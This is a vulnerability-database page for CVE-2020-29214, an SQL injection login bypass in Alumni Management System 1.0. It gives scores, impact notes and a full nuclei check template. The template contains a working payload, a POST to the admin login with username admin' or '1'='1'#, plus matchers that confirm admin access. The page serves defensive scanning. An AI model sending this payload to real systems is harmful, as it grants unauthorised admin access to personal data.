HexBrain

Browse / CVEs / CVE-2020-29214

CVE-2020-29214· alumni management system project / alumni management system· CWE-89

Alumni Management System 1.0 - SQL Injection

criticalseverity
9.8CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.

Impact

Unauthenticated attackers can bypass authentication through SQL injection, gaining administrative access to the Alumni Management System and access to all alumni data.

Fix

Apply vendor patches or upgrade to a patched version.

How to confirm it

Send: POST /admin/ajax.php?action=login ; GET /admin/index.php?page=home
Positive when: contains "Welcome back Admin!" and "Alumni List" AND not contains "#login-form" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29214 -u <target>

The full check
id: CVE-2020-29214

info:
  name: Alumni Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.
  impact: |
    Unauthenticated attackers can bypass authentication through SQL injection, gaining administrative access to the Alumni Management System and access to all alumni data.
  remediation: |
    Apply vendor patches or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/48883
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29214
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29214
    cwe-id: CWE-89
    epss-score: 0.04499
    epss-percentile: 0.91576
    cpe: cpe:2.3:a:alumni_management_system_project:alumni_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alumni_management_system_project
    product: alumni_management_system
  tags: cve,cve2020,sqli,auth-bypass,cms,edb,alumni,vuln

http:
  - raw:
      - |
        POST /admin/ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
      - |
        GET /admin/index.php?page=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Welcome back Admin!'
          - 'Alumni List'
        condition: and

      - type: word
        part: body
        words:
          - '#login-form'
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from